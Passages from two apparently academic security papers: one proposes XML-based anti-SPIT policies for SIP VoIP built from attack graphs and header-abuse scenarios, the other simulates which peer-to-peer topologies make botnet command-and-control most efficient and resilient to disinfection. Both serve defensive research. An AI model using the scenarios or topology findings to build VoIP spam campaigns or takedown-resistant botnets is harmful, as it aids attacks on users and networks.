of the figure presents the further analysis of one abstract node, i.e., it shows how
node no. 7 is broken down in a more detailed attack tree.

Fig. 4. SPIT attack graph and an example of an attack tree
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The model depicts how a spitter can exploit a SPIT-related vulnerability. The
attack graph and attack trees can be transformed into attack scenarios (a number
of example attack scenarios are described in Table 2) through the usage of an
attack language like, SNORT attack language. Such a language can facilitate
the transformation of a high level attack scenario into specific attack signatures
(aka. definitions), which can be used can be used for detecting a SPIT attack.

Herein we will transform the attack scenarios into SPIT-oriented attack sig-
natures. Then, the signatures will be encompassed by a SIP entity (mainly by
SIP Proxy Server) for detecting SPIT. The XML language was selected for rep-
resenting SPIT attacks, as its syntactical capabilities offer an adequate way for
transforming high level attack scenarios into attack signatures.

6 Anti-SPIT Policy-Based Management

The proposed adaptive anti-SPIT Policy-based Management (aSPM) approach
will be presented in this section. The approach tends to identify all SPIT attacks
that are recognized by the attack scenarios and - at the same time - to react and
respond according to the VoIP stakeholders wishes.

6.1 The Policy Condition Element

The main element of a policy description is a condition. A policy condition is a
pattern of an identified SPIT attack scenario, as this is extracted by an attack
graph. Such a condition is the key element for the detection of any possible SPIT
attack. More specifically, a condition is formulated by extracting from an attack
scenario specific characteristics and attributes that describe a SPIT attack. An
example of an attack scenario description that can be used for this purpose is the
following: The callers user agent receives a response with a 200 message/code,
which includes multiple addresses in Contact field and the value of the From field
is equal to one of the values of the Contact . According to it, the caller has more
than one SIP addresses and introduces them in multiple contact fields. If these
fields were inserted by a malicious user, then the next time the callee will try
to communicate with the caller, she may call one of the alternative addresses.
This leads to a possible redirection of the call towards an answering machine
that plays pre-recorded SPIT messages. To deal with such an attack, we should
identify these attributes of the scenario, which the SPIT detection will be based
on. In this example, the appropriate attributes (or sub-conditions) are:

1. The message code is 200.
2. There are multiple Contact fields.
3. The equality between the value from the From header field and the value of

the Contact header field.

The policy condition is the result of the logical aggregation of the three at-
tributes, i.e.: Condition=[Code=200 ⊕ Contact:Multiple ⊕ From ≈ Contact].
The condition is defined, in general, as: Condition=f(c1,c2 ,,ck)=c1◦ c2◦ ◦ ck,
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Table 2. Examples of attack scenarios1

Scenario
Attack graph nodes
and exploitation of vulnerabilities

The spitter listens to the multicast
for collecting users SIP URI ad-
dresses. Then, by using the contact
header and the Alert-Info field of
the INVITE message, forwards the
SPIT message to the list of victims.
Series of nodes: Node 1 to Node 7

The spitter starts the attack from node 1,
namely Find and Collect Users Addresses . This
is accomplished by exploiting the vulnerability
listening to a multicast address . Then, the attacker
goes to node 7, where the goal is to encapsulate
SPIT in SIP messages . This is accomplished by
the exploitation of the SIP request messages and
especially the SIP headers fields INVITE and
ALERT-INFO respectively.

The spitter exploits hijacked SIP
proxies and sends bulk SPIT mes-
sages to an application that is us-
ing a multicast channel.
Series of nodes: Node 3 to Node 2

The spitter starts from node 3 (Proxies-In-
The-Middle Attack) and exploits Re-INVITES
message header field vulnerability. Then, spit-
ter transits to node 3 (Sending Bulk Mes-
sages), where she exploits the vulnerability of
sending messages to the multicast address, that the
application is using to provide content to multiple
users (e.g. video conference).

The attacker sends ambiguous re-
quests to proxies so as to collect
SIP URIs addresses of her poten-
tial SPIT victims. Then by ex-
ploit the Response message and
especially the From and Contact
header fields forwards her SPIT
message.
Series of nodes: Node 1 to Node 7

The spitter starts the attack from node 1,
namely Find and Collect Users Addresses . This is
done by exploiting the vulnerability of sending
ambiguous requests to proxies . Then, the attacker
goes to node 7, where she uses a response
message (exploitation of response messages) with
a 200 message/code by exploiting the Contact
and From header fields (i.e., includes multiple ad-
dresses in Contact field and the value of the From
field is equal to one of the values of the Contact).

where ci is a suNote that footnotes associated with ”floated objects” like tables
or figures may have a problem insofar as the footnote might not follow the floated
object.b-condition and ◦ denotes a logical operator to be ⊕ or ⊗ 2.

6.2 The Policy Action Element

The second element of a policy is the action (control, countermeasure). In SIP,
proactive SPIT countermeasures can properly adjust the reaction of the negoti-

1 The left column presents an abstract description of the attack scenario, while the
right column depicts how each attack scenario is accomplished through the exploita-
tion of specific nodes of our SPIT related attack graph

2 The operators that are used in sub-conditions are: (1) = : equal, (2) : : times of header
appearance (Multiple, One, None), (3) ≈ : approximately equal, (4) ¿ : greater, and
(5) ¡: less.
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ation participating entities. The actions to be taken are divided in three main
categories:

a. Block: It denotes the rejection of a SIP message. The action is enforced when
we are sure that specific conditions are satisfied, therefore the message has
been recognized as SPIT. The SIP action for this message is 403 Forbidden”.

b Block with description: It also refers to the rejection of a SIP message. The
difference with the above category is that, in this case, a description of the
reason why the message was rejected is sent to the request entity. This assists
the caller or her domain to re-send the message, so as to meet the necessary
requirements of the callee or her domain. A typical example of this action is
a SIP 405 message with Method not Allowed description-information.

c Notify: It suggests that the SIP message is not rejected and will be forwarded,
as the administrator/user desires. In this case, a notification is usually sent to
the caller, and the message is redirected to an application that is responsible
for supporting the communication. The caller usually receives a 183 SIP
message with description Session in Progress.

6.3 From the Policy Elements to the Policy-Based Approach

An example of a condition and its corresponding actions appears on Table 3.

Table 3. A condition and suggested actions

Condition Code=200 ⊕ Contact:Multiple ⊕ From ≈ Contact

List of possible
actions

1.The UAC uses the specific address to compose upcoming messages

2.The UAC renews the entries for the specific UAS

3.User is informed for the new SIP addresses.

4.The UAC rejects the call and returns a Message 403 (Forbidden)

5.The UAC rejects the call and returns a message 606 (Not Accept-
able)

6.The UAC forwards SIP message to another entity and returns a
message 183 (Session in Progress)

The policy element, together with its underlying components (condition ele-
ment, actions element), are categorized on the basis of the communication seg-
ment in which each can be enforced. The entities that participate in each seg-
ment can have a different policy, i.e., the policy instance for each entity includes
a different set of policy elements. Each anti-SPIT policy, and the corresponding
policy elements, are defined and integrated manually by the administrator of
each communication segment, presented in section 4. On the basis of the above,
the proposed adaptive anti-SPIT policy-based management approach is depicted
in Figure 5.
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Fig. 5. aSPM: Adaptive anti-SPIT policy-based management

7 aSPM Proposed Architecture

As the applicability of the aSPM is an important part of its value, two steps
were taken towards this direction. First, the anti-SPIT policy was described in a
structured form, i.e., as an XML schema [15]. Second, the anti-SPIT policy was
applied to an existing SIP infrastructure, i.e., the SIP Express Server (SER), an
open source software product, currently use by organizations including Columbia
University, Swiss Federal Institute of Technology, etc. [16,17].

7.1 XML Representation

XML is a markup language, which can represent data in a structured way. In
our case, the XML schema3 basically includes the identification characteristics
of the attack attributes, together with the relation between them. The schema
is developed in order to be: (a) easy for the administrator to develop a policy
element, and (b) easily processed by an automated procedure. The main compo-
nent/tags4 of the schema will be described in the sequel, while the whole schema
appears in the Appendix.

The main element of the XML policy structure is the RuleItem. A RuleItem
consists of two elements, the Subject, on which the condition is applied, and
the Rule, which obtains the policy element. The subject tag contributes in not
having multiple policies for the same entity, as each communication entity takes
a variety of roles during the SIP negotiation. In our case, the possible values of
the Subject are: (a) Caller, (b) Callee, (c) Callers proxy, and (d) callees proxy.

The other element of the RuleItem is the Rule, which aims at identifying a
certain condition and introducing the proper action, when the condition is met.
3 XML Schema Definition (XSD).
4 The remaining XML schema is presented in the Appendix.
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Fig. 6. Main XML elements

A Rule element consists of three tags, namely: (a) the Trigger tag, which denotes
when the rule is checked, and its values are: Receive Message, Create Message,
(b) the condition tag, and (c) the Action tag, which refers to the action that
must be applied.

The condition can appear one, many, or no times in a Rule, in order to ful-
fill the produced attack pattern (i.e., sometimes there are no conditions to be
fulfilled for an action to take place). This occurs when there are rules, which
are mandatory for a specific event in a policy. These events are related to the
Subject element and not to the condition element, which exists in the Rule.

The second tag of Rule Item, i.e., the condition, consists of: (a) the Item tag,
on which the condition is checked, and it can be a header field or a request
type (INVITE, OPTION, etc.), (b) the Value tag, which is the value of the
Item, and (c) the Relation tag, which is the relation/logical operator between
the Item and the proposed value. The Relation tag, defines whether the value
of the Item should be equal to the Value Item or the exact difference from it.
Also, the Relation element is used to indicate a property, of the Item element,
like multiplicity or existence. The third part of the Rule tag is the Action. The
action element is processed only if the Trigger and the Condition are fulfilled.
An action consists of (a) Notify, which suggests the notification procedure that
should be followed, (b) Return Message, which enforces the format and code of a
new message to be send back to the appropriate entity, and (c) FieldTask, which
contains all the actions that affect the header fields of a SIP message. Figure 6
depicts the main XML elements.

7.2 aSPM Integration

The aSPM Architecture In this section we describe how an anti-SPIT policy can
be integrated in a SIP infrastructure. The proposed approach is shown in Figure
7. The approach is based on three basic elements, namely:

a) The SIP parser. It is an automated process, integrated to the SER server
and used to support the routing of the incoming SIP messages. The SIP
parser can scan SIP messages and extract the message attributes (the main
attributes are the header fields, such as From, Contact, and SIP-URI and
their values).
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Fig. 7. The aSPM Architecture

b) The XML parser. It is an interface that allows the navigation to the entire
document, as if it was a tree of Nodes. The parser reads XML into memory,
and provides easy access to tag values of the document.

c) The policy enforcement (or decision) point. The input to it is the parsed xml
document, together with the message attributes. Two actions take place in
this module: (a) all the conditions are checked, so as to find out which is
fulfilled and which not (actually, first a SIP message is received and parsed,
and then the message attributes are checked against the policy element), and
(b) if one or more conditions are met, then the proposed action (described
in the fulfilled policy element) does take place. If several conditions are met,
then the stricter action is executed.

8 Brief Conclusions and Further Research Plans

SIP-based VoIP environments seem to gain a lot of attention, especially due their
low cost for telephony services. However, the SPIT threat and its underlying SIP-
related vulnerabilities pose a considerable concern that should be addressed.

In this paper we proposed an anti-SPIT policy-based management system
(aSPM), with an eye towards the effective management of SPIT phenomenon.
The suggested approach was primarily based on a SIP protocol threat and vul-
nerability analysis, which results in the identification of a series of attack sce-
narios. Then, the attack scenarios were analyzed, in an effort to define SPIT
detection rules. These rules led to the identification and description of specific
actions and controls, capable of countering and mitigating SPIT attacks. An
XML schema was proposed as a means for both, first, describing the detection
rules, and, second, stipulating the SPIT handling controls and actions. Finally,
it was demonstrated how the aSPM approach could be practically integrated
into a real SIP environment.
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Regarding future plans, we aim to enhance the aSPM by supporting the
integration of detection rules in a dynamic way, regarding for example user
preferences and feedback [18]. Furthermore, we aim to analyze how a VoIP in-
frastructure, where aSPM is applied, can interoperate with other frameworks.
In particular, we plan to check how the information resulted from the use of the
aSPM in a given VoIP environment could be facilitated in different VoIP environ-
ments, with an eye towards evaluating its intra-VoIP environments application
potential.
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Abstract. Botnets, in particular the Storm botnet, have been garnering
much attention as vehicles for Internet crime. Storm uses a modified ver-
sion of Overnet, a structured peer-to-peer (P2P) overlay network protocol,
to build its command and control (C&C) infrastructure. In this study, we
use simulation to determine whether there are any significant advantages
or disadvantages to employing structured P2P overlay networks for botnet
C&C, in comparison to using unstructuredP2P networks or other complex
network models. First, we identify some key measures to assess the C&C
performance of such infrastructures, and employ these measures to evalu-
ate Overnet, Gnutella (a popular, unstructured P2P overlay network), the
Erdős-Rényi random graph model and the Barabási-Albert scale-free net-
work model. Further, we consider the three following disinfection strate-
gies: a) a random strategy that, with effort, can remove randomly selected
bots and uses no knowledge of the C&C infrastructure, b) a tree-like strat-
egy where local information obtained from a disinfected bot (e.g. its peer
list) is used to more precisely disinfect new machines, and c) a global strat-
egy, where global information such as the degree of connectivity of bots
within the C&C infrastructure, is used to target bots whose disinfection
will have maximum impact. Our study reveals that while Overnet is less
robust to random node failures or disinfections than the other infrastruc-
tures modelled, it outperforms them in terms of resilience against the tar-
geted disinfection strategies introduced above. In that sense, Storm de-
signers seem to have made a prudent choice! This work underlines the need
to better understand how P2P networks are used, and can be used, within
the botnet context, with this domain being quite distinct from their more
commonplace usages.

1 Introduction

Botnets have emerged as one of the most pressing security issues facing Internet
users [1,2,3]. In early 2007, researchers estimated that 11 percent of the more
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than 650 million computers attached to the Internet were conscripted as bots [3].
Members of the security research community have tracked botnets with sizes
ranging from several hundred to 350 thousand federated hosts [1,2,4,5].

Botnets are big business; whether they be used for sending spam [6], or as
tools for profit-motivated on-line crime [7]. As computer users become more
aware of security issues, and vulnerabilities are more quickly fixed via automatic
updates, more sophisticated social engineering techniques are being used to in-
stall malicious codes on victims’ machines. One of the commonly used techniques
for planting bot codes on machines, involves spam emails with enticing subjects
(such as “Britney Did it Again”) with links to Web sites containing malicious
codes. Electronic greeting cards and “free” downloads have also been used to
trick users into clicking on links containing exploit codes which are subsequently
installed on the unsuspecting victims’ machines, thus transforming them into
bots [8].

Once infected, the bots must be controlled by the external malicious agents.
This can be achieved by a command and control (C&C) infrastructure, ideally
allowing the distribution of any command to any bot. This infrastructure has
three competing goals: a) to be as efficient as possible, by ensuring the rapid
propagation of commands, b) to be as stealthy as possible, by minimising the
risk that the botnet’s activities will be observed, and c) to be as resilient as
possible, i.e. to minimise the impact of node disinfection or node failure. In this
work, we refer to robustness as the network’s capacity to retain its capabilities in
light of random failures or uninformed disinfection strategies, while we use the
term resilience to refer to a network’s capacity to retain its capabilities when
subject to targeted and informed disinfection strategies.

Prior to late 2006, most observed botnets used Internet Relay Chat (IRC) [9]
as a communication protocol for C&C [10]. Awareness of this fact spurred re-
searchers to develop botnet detection schemes which are based on analysis of IRC
traffic [11,12,13,14,15]. This, in turn, likely pushed the development of more so-
phisticated botnets, such as Storm and Nugache [16] and Peacomm [17], towards
the utilisation of P2P networks for their C&C infrastructures. In response to this
trend, researchers [4,18] have proposed various models of botnets that are based
on self-organised complex networks or P2P infrastructures, as possibilities for
advanced botnets C&C infrastructures.

The Storm botnet is one of the largest and better known recent botnets.
It adapted the Overnet P2P file-sharing application [19] —itself based on the
Kademlia distributed hash table algorithm [20]— and utilises it for its C&C
infrastructure [21]. Storm has received much scrutiny in the electronic media
[1,2,3], and in the anti-virus research community [8,16,21]. Such attention has
spurred the Storm operators to episodically evolve the details of how Storm oper-
ates, for example, by encrypting the C&C traffic [22]. The level of sophistication
Storm exhibits —for instance, by using Fast Flux service networks [23] for DNS
services, and launching distributed denial-of-service attacks on computers that
are used to investigate its bots [24]— indicates that its operators are quite savvy.
Consequently, it is conceivable that they are likely to continue to enhance their
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botnets to make them less detectable and more resilient to disinfection, whether
this be through their own discoveries or through leveraging relevant research
results available within the literature.

A botnet can be seen as a complex network, with hundred of thousands of
nodes, each representing a bot. While direct communications between any two
bots are possible using the Internet Protocol (IP), in practice meaningful com-
munications between bots can only happen if one of them knows about the fact
that the other computer is indeed a bot and what parameters (e.g. open listening
sockets, cryptographic keys) are needed to contact it. Thus, edges of this (di-
rected) graph correspond to communication links where the source node knows
of and how to contact the destination node.

These freely self-organised networks can be described by different theoreti-
cal models: Erdős-Rényi random graphs, Barabási-Albert scale-free graphs, or
Watts-Strogatz small-world network models. The efficiency of their underlying
C&C infrastructures depends, at least in part, on the intrinsic properties of
the underlying graphs. It is well established in the research literature that the
Erdős-Rényi random graph model [25] shows more resilience to targeted re-
moval of nodes than the other well-known, theoretical network models, i.e., the
Barabási-Albert scale-free [26] and the Watts-Strogatz [27] small-world networks,
whilst keeping the same underlying properties of the graph (i.e. size and con-
nectivity). It is intuitively clear that removing the highly connected nodes from
scale-free graphs may easily impact the connectivity of those graphs. In light of
these results, it is natural to ask what advantage, if any, a botnet which employs
the theoretical Erdős-Rényi random graph or Barabási-Albert scale-free network
model would have, compared to botnets utilising structured or unstructured P2P
networks, such as Gnutella or Overnet. This question is doubly relevant. First,
because in the research on botnet C&C performance to date, little attention has
been paid to the actual methods employed by current botnets to build these C&C
infrastructures. Second, because if the real-world use of these theoretical models
could yield better C&C performance, it would provide us with an indication of
likely future evolution in the botnet arms race.

Our findings and the main contributions of our work can be summarised as
follows:

1. We introduce and discuss three key measures for assessing the performance
of botnets command and control; two of these measures, to the best of our
knowledge, have not been previously explored in the context of botnets.

2. We introduce and consider the effects of three distinct disinfection strategies,
on a structured (Overnet) and an unstructured (Gnutella) P2P overlay net-
works, and on the Erdős-Rényi random graph and Barabási-Albert scale-free
network models.

3. Most significantly, we show how botnets using a structured P2P networks
(Overnet) as their C&C infrastructures can achieve even more resistance
to targeted attacks than that achievable through the Erdős-Rényi random
graph model, already known to show good resilience.
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4. Finally, our results indicate that there is an apparent general trade-off be-
tween the efficiency of the C&C infrastructure to distribute commands, and
its resilience to disinfection.

The rest of the paper is organised as follows. Section 2 lists the related works
and provides an outline of how our work differs from previous works. Section 3
contains background information about four network architectures we investi-
gated as possible infrastructures for botnets C & C infrastructures. Section 4
contains information relating to the simulation setup, a discussion of the de-
veloped measures, and some of the initial assessment results. In Section 5, we
describe the disinfection strategies we considered, and present the disinfection
analysis results. In the final section, we discuss our findings, summarise our
contributions and suggest some directions for future work.

2 Related Work

Theoretical models of complex networks have received significant attention in
the Physics literature. This research has looked carefully at the properties of
these graphs, as nodes are removed randomly or in a deliberate and targeted
fashion.

Albert, Jeong and Barabási [28] investigated the error and attack tolerance
of complex network using simulation. They studied the change in diameter of
Erdős-Rényi (ER) random graph [25] and Barabási-Albert (BA) scale-free net-
work models [26] when small fraction of nodes were removed. Their results indi-
cated that BA model shows high degree of tolerance against random error (high
robustness), but that it is more susceptible to be disconnected than ER model
when the most connected nodes are targeted (low resilience).

Crucitti, Lattora, Marchiori and Rapisarda [29] conducted similar studies
which compared the resilience of ER and BA networks against targeted attacks.
Instead of using changes in diameter as a measurement of robustness and re-
silience, the authors used the global efficiency, which is defined as the average of
the efficiency εij = 1/tij over all couple of nodes; where tij is the time it takes to
send a unit packet of information through the fastest path. Their studies showed
that ER random graphs exhibit similar tolerance with respect to error and tar-
geted attacks, while the BA scale-free network model is robust to random errors,
but vulnerable to targeted attacks.

Holme, Kim, Yoon and Han [30] studied the response of complex networks
subjected to attacks on nodes and edges. They investigated the changes in av-
erage shortest path length and the size of the giant component of ER, BA and
Watts-Strogatz (WS) [27] graphs when a fraction of the nodes are removed. In
the simulation experiments, nodes of the graphs were selected and removed in
decreasing order of their incidence degree and their betweenness centrality mea-
sure. This latter value captures the notion of whether a given node is on most
of the shortest paths between any pairs of nodes in the graph. The authors con-
cluded from their study that the ER model, because of its lack of structural bias,
is the most resilient network of the set they tested.
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The theoretical models of complex networks have also been considered in
the botnet literature. Cooke, Jahanian and McPherson [10] investigated possi-
ble advanced botnet communication topologies. They outlined three topologies
(a centralised structure, a generic P2P model and a simplistic random model)
without comparing their effectiveness, and suggested possible detection meth-
ods based on the correlation of events gathered by distributed sensors. To their
credit, the authors forecasted the appearance of botnets like Storm using P2P
networks.

Wang, Sparks and Zou [18] presented the design of an advanced hybrid P2P
botnet and provided analysis and simulation results which attest to the resilience
of their botnet architecture. Their theoretical P2P protocol is very simple com-
pared to Kademlia, used by Overnet, and gives graphs with weak structures.
The authors look essentially at only one measure to evaluate the performance of
their approach: the connectivity of the resulting graph after targeted disinfec-
tion. Furthermore, they did not compare their protocol with any other complex
network model.

Dagon, Gu, Lee and Lee [4] identified three measures to measure the perfor-
mance of the C&C infrastructure. First is the size of the giant component of
the graph, which represents the size of the reachable (and thus usable) portion
of the botnet. Then they consider the graph diameter, which measures the ef-
ficiency of the botnet in terms of rapidity to reach all nodes in the connected
component. The last measure is the graph redundancy, measuring the probabil-
ity that, if two edges of the graph share a node, they are part of a triangle, and
is related to the robustness of the botnet. The authors considered the following
four network models: Erdös-Rényi random graphs, Barabási-Albert scale-free
networks, Watts-Strogatz small world networks. They also consider P2P mod-
els, but approximate them with the theoretical models: structured P2P models
approximated as ER graphs, and unstructured P2P models approximated as BA
networks (we describe more precisely this distinction in Section 3).

Our work can be differentiated from the works listed above, as follows:

– None of this previous work investigated the performance differences between
structured and unstructured P2P networks, and that between P2P networks
and theoretical complex network models.

– Two of the three measures that we identified for assessing the performance
of botnets (i.e. reachability from a given node and the distribution of the
shortest paths) have not been explored in any of the previous works.

– We describe and analyse a disinfection strategy (tree-like disinfection), which
has not been considered in previous work.

3 Background

In this section, we give a brief overview of the four network models we studied
as C&C infrastructures for botnets. We commence with P2P overlay networks.

P2P overlay networks are generally classified into two categories: structured
and unstructured networks. The nodes in a structured P2P network connect
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to at most k peers, where k is a fixed parameter; and there are stipulations
regarding the identities of nodes to which a given node can connect. For the
case of Overnet, a node can only connect to nodes which have IDs that are less
than a certain distance (see Section 3.1 below). Whereas, for unstructured P2P
networks, there is no fixed limit to the number of peers that a node may connect
to and, more importantly, there is no stipulation regarding the identity of which
nodes a given node is allowed connections with. Examples of structured P2P
networks are Overnet [19] and Chord [31]. Gnutella [32] and Freenet [33] are
examples of unstructured P2P networks. We choose Overnet and Gnutella for
our simulation studies because they are the more real-world popular examples of
their respective network types. Brief overviews of both are provided below along
with brief descriptions of Erdős-Rényi random graphs and Barabási-Albert scale-
free models of complex networks.

3.1 Brief Overview of Overnet

Overnet is a popular file sharing overlay network which implements a distributed
hash table (DHT) algorithm called Kademlia [20]. Each node participating in
an Overnet network generates a 128-bit ID when it first joins the network. The
ID is transmitted with every message the node sends. This permits recipients
of messages to identify the sender’s existence as necessary. Each node in an
Overnet network stores contact information about each other in order to route
query messages. Every node keeps a separate list of 〈IP address, UDP port, ID〉
triplets for nodes of distance 2i and 2i+1 from itself, for each 0 < i < 128. The
distance d(x, y) between two IDs x and y is defined as the bitwise exclusive or
(XOR) of x and y interpreted as an integer, i.e., d(x, y) = x⊕y. These peer lists
are referred to as k-buckets and they are kept sorted by time last seen, ordered
by least-recently seen at the head and the most recently-seen at the tail.

A node n wishing to join an Overnet network must have contact with some
node m already participating in the network. The new node n inserts its contact
m into the appropriate k-bucket then broadcasts node lookup query messages to
search for the k closest nodes to its ID through the node m. The new node n can
then populate its k-buckets based on messages it receives. In the process, seeing
the broadcast messages from n, other nodes can also refresh their k-buckets and
insert n in their k-buckets as necessary.

3.2 Brief Overview of Gnutella

Gnutella is a popular unstructured file sharing overlay network. In order to join
a Gnutella network, a node n connects to a node m that is already connected
to the network. Once attached to the network, n broadcasts a PING message
through m to announce its presence. When a node receives a PING message, it
forwards it to its neighbours and sends a PONG message to the sender of the
PING message along the reverse path of the PING message. The transmission of
these messages allows nodes to learn about each other. A new node n typically
connects to the first k nodes it hears from, where k is a configurable parameter.
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3.3 Brief Description of Erdős-Rényi and Barabási-Albert Models

Erdős-Rényi (ER) random graph model: An ER graph [25] (also described
at length in [34]) is a random graph consisting of N nodes connected by edges.
Each of the

(
N
2

)
edges is chosen independently with probability p. The ER model

depicts a random network with no particular structural bias.

Barabási-Albert (BA) scale-free model: The BA scale-free model [26] more
closely approximates real-world complex networks, for example, the World Wide
Web, biological networks and social networks. In these networks, the probability
that a node connects with k other nodes is roughly proportional to k−γ , for some
constant γ (thence, they are also referred to as power-lay graphs). Therefore, it is
more likely to observe few highly connected hubs, although most nodes are con-
nected to few other nodes. Barabási and Albert provided a simple methodology
for constructing such graphs based on a growth process which uses preferential
attachment. Starting with a small number nodes, at every time step add a new
node that is more likely to connect to nodes with higher incidence degree. The
resulted graph (or network) shows a power-law degree distribution P (k) � k−γ ,
where γ = 2.9± 0.1.

4 Simulation Setup and Results

For our simulation analysis, we constructed sets of random graphs using the four
models described in the previous section. Each graph G = (V, E) —where V is
the set of nodes and E is the set of edges— has |V | = 25,000 nodes. Relevant
details regarding each graph types are outlined below. The tested networks were
implemented in the C programming language with the igraph C library [35], used
to support the implementation of the simulations. For our analyses, we performed
20 simulation runs, each with a different set of graphs, and the presented results
are the averages obtained across the composite of these runs.

Overnet graphs: We simulated an Overnet network which grows from an initial
set of 2 nodes to 25,000 nodes. Each node in the network has k-buckets with a
total of at most 20 peers, i.e. k = 20. We modelled this network as sets of random
undirected graphs. Each graph having 25,000 nodes and maximum degree of 20,
the maximum number of edges is |E| = 25, 000 ∗ 20/2 = 250, 000. In fact, for the
Overnet graphs we generated for the simulation analysis, the average number of
edges is 221,137, corresponding to an average degree of 17.69.

Gnutella graphs: We simulated a Gnutella network which starts with an initial
node set of 2 nodes and grows to 25,000 nodes. In the simulation implementation,
we placed no limits on the number of peers that a node may connect to; however,
the number of connections that any given node can initiate was limited to 9. This
restriction allows the number of edges in the Gnutella graph to approximate
that of the Overnet graph, since the expected average overall degree should
be 18 = 2 ∗ 9. We modelled the simulated Gnutella network as sets of random
undirected graphs; each graph has 25,000 nodes and the set of 20 Gnutella graphs
has an average of 224,427 edges, with an average degree of 17.95.
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Erdős-Rényi (ER) random graphs: An ER random graph can be represented
as G(n, p) where n is the number of nodes and p is the probability that an edge—
drawn from the edge set with

(
n
2

)
edges—is present. We utilised the igraph C

library to generate 20 undirected ER graphs with n = 25, 000 and p = 0.000708.
The average number of edges for the set of 20 ER graphs is

(
25000

2

)
∗ 0.000708,

i.e., 25000∗24999
2 ∗ 0.000708 = 221, 241, i.e. an average degree of 17.71, where this

value for p was intentionally selected to approximate the connectivity of the
tested Gnutella and Overnet networks.

Barabási-Albert (BA) scale-free graphs: We utilised the igraph C library
to generate 20 undirected BA graphs for our simulation. Each graph has 25,000
nodes, and each node has a maximum of 9 outward connections, which for similar
reasons as for Gnutella networks should yield a similar number of edges. In fact,
the average number of edges for the set of 20 BA graphs is 224,991, corresponding
to an average degree of 17.99.

4.1 Degree Distribution of the Graphs

Figure 1 shows the degree distribution of the four graphs we discussed above.
The standard deviation for the histogram values (number of nodes having a given
degree) ranges from 0 to 14.5% of the calculated mean values.
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Fig. 1. Degree distribution of Overnet, ER, Gnutella and BA graphs

It is readily apparent from this figure that the Gnutella graph is very simi-
lar to the BA graph. This supports the findings of previous works [36,37] which
indicate that Gnutella networks exhibit similar power-law properties as BA scale-
free networks. The degree distribution for the ER graph is a binomial distrib-
ution, as expected. The use of the DHT algorithm in Overnet has the effect
or randomly selecting nodes in the network, which is almost equivalent to the
construction of the ER graph, and hence the head of their respective degree
distributions is somewhat similar. The key difference between these two models
is that, since in Overnet there is a maximum degree limit of 20, the tail of what
would be otherwise a binomial distribution is “bunched up” at degree values
19 and 20.
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4.2 Performance Measures

We identified three key performance measures for assessing the effectiveness of a
botnet. Only the diameter of the graph has been previously used in this context.
We present them below:

Reachability from a given node: With a decentralised C&C infrastructure,
a botnet operator can issue commands to the botnet from any node within
the botnet. A key measure, therefore, of the effectiveness of the botnet, is the
number of nodes that can be reached within a given distance from a node x. Let
Γk(x) denotes; where the set of nodes at distance k from a node x in a graph
G = (V, E).

Γk(x) = {y ∈ V : d(x, y) = k},
where d(x, y) represents the length, i.e., number of hops, of the shortest path
between node x and y. Let Nk(x) represents the set of nodes at distance at most
k from x.

Nk(x) =
k⋃

i=0

Γi(x)

Nk(x) with high cardinality for small k’s is more advantageous for botnet oper-
ators. The higher the cardinality of Nk(x), the better the botnet will perform,
since, a larger percentage of nodes will be reachable within k hops from any
given node.

Figure 2 shows the histogram for reachability percentages, rounded up to
nearest 10%, i.e. �Nk(x)/25,000 ∗ 100�) for k = 1, 2, 3, respectively, for the four
models considered. The standard deviation for these histogram values ranged
from 0 to 16.4% of the calculated mean values over the 20 graphs generated.
For example, Figure 2(a) in particular, indicates that none of the 25,000 nodes
in either the Overnet or ER networks we simulated, are able to reach even 10
percent of the nodes in the botnet within 1 hop. On the other hand, Figures
2(b) and 2(c) indicate that of the four graph types, BA graphs have the highest
reachability within 2 and 3 hops, respectively, followed by Gnutella, ER and
Overnet graphs. This is likely due to the fact that the BA graphs have the largest
number of highly connected nodes, followed by Gnutella, ER and Overnet graphs.
The presence of highly connected nodes creates the opportunity for shorter paths
between the origin x and its target nodes, and hence increase the size of Nk(x).
The difference in the number of such nodes for the four graph types is readily
observable in Figure 1, except for the case of BA and Gnutella which appear very
similar from the plot. A more detailed analysis of the raw data used to generate
Figure 1 indicates, however, that the BA graphs achieve a slightly larger number
of highly connected nodes.

Shortest path length sets: Let d(u, v) represents the length of the shortest
path between u and v, where u, v ∈ V , for a graph G = (V, E). Let Ll(u, v)
denote the set of all node pairs (u, v), such that, d(u, v) = l, i.e.,

Ll(u, v) = {(u, v) : u, v ∈ V ∧ d(u, v) = l}
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Fig. 2. Reachability histogram for k hops, with (a) k = 1, (b) k = 2, and (c) k = 3

A network with sets Ll(u, v) of high cardinality for small values of l is more
advantageous for botnet operators, since this allows messages to reach intended
recipients in fewer hops. One may ask, why would a botnet operator care about
the number hops a message must traverse in order to reach its recipient? Since
in today’s Internet, each hop involves no more than milliseconds or at worst a
few seconds, a few more hops probably do not significantly affect the speed of
propagation of botnet commands. However, each extra hop required to reach
a given fraction of the network, will result in approximately a 9- or 18-fold
increase in the number of messages (since in our case, the average outdegree is
either 9 or 18, depending on the network model). Thus, since the overall network
“footprint” of the C&C infrastructure increases exponentially with the number
of hops, reachability within a given number of hops or equivalently the number
of hops required to achieve a given portion of the network are very significant
measures in terms of stealth. Botnets with Ll(u, v) with higher cardinality for
small l, will likely operate with greater degree of stealth than those with Ll(u, v)
with lower cardinality for small l.

Figure 3 shows the simulation results for the Ll(u, v) cardinalities for the four
graph types we tested. The standard deviation for these cardinalities was within
0.8% and 24% of the calculated mean values over the 20 graphs generated. The
results indicate that for l < 4, Ll(u, v) has higher cardinality for BA, followed by
Gnutella, ER and Overnet graphs; |Ll(u, v)| for ER is only slightly higher than
that of Overnet graph for l < 3. Whereas for l ≥ 4, the order for |Ll(u, v)| is
reversed; being Overnet, followed by ER, Gnutella and BA. These results, again
can be attributed to the fact that BA graphs have higher number of highly
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Table 1. Diameter of the network graphs

Graph Diameter
Overnet 6
ER 6
Gnutella 5
BA 5

connected nodes than Gnutella, ER and Overnet graphs; similarly, Gnutella
graphs have higher number of highly connected nodes than ER and Overnet,
and so on.

Diameter of the network graph. The diameter, diam(G), of a graph G =
(V, E) is the length of the longest shortest path separating any two nodes. Thus,
it can be defined as diam(G) = maxu,v d(u, v), where d(u, v) is the length of
the shortest path between u and v. Botnets with smaller diameter are desirable
for botnet operators, since this allows messages to traverse fewer nodes before
reaching their intended recipients, and this has non-negligible impact in terms
of stealth, as previously discussed. This measure has been used previously by
Dagon, Gu, Lee and Lee [4]. Table 1 shows the diameter of the four network
we simulated. Once again, the diameters of the four network graphs are very
similar, with ER and Overnet being only slightly worse.

5 Disinfection Analysis

The disinfection of bot code from infected machines can be modelled as the re-
moval of nodes (and incident edges) from the graph G = (V, E) representing the
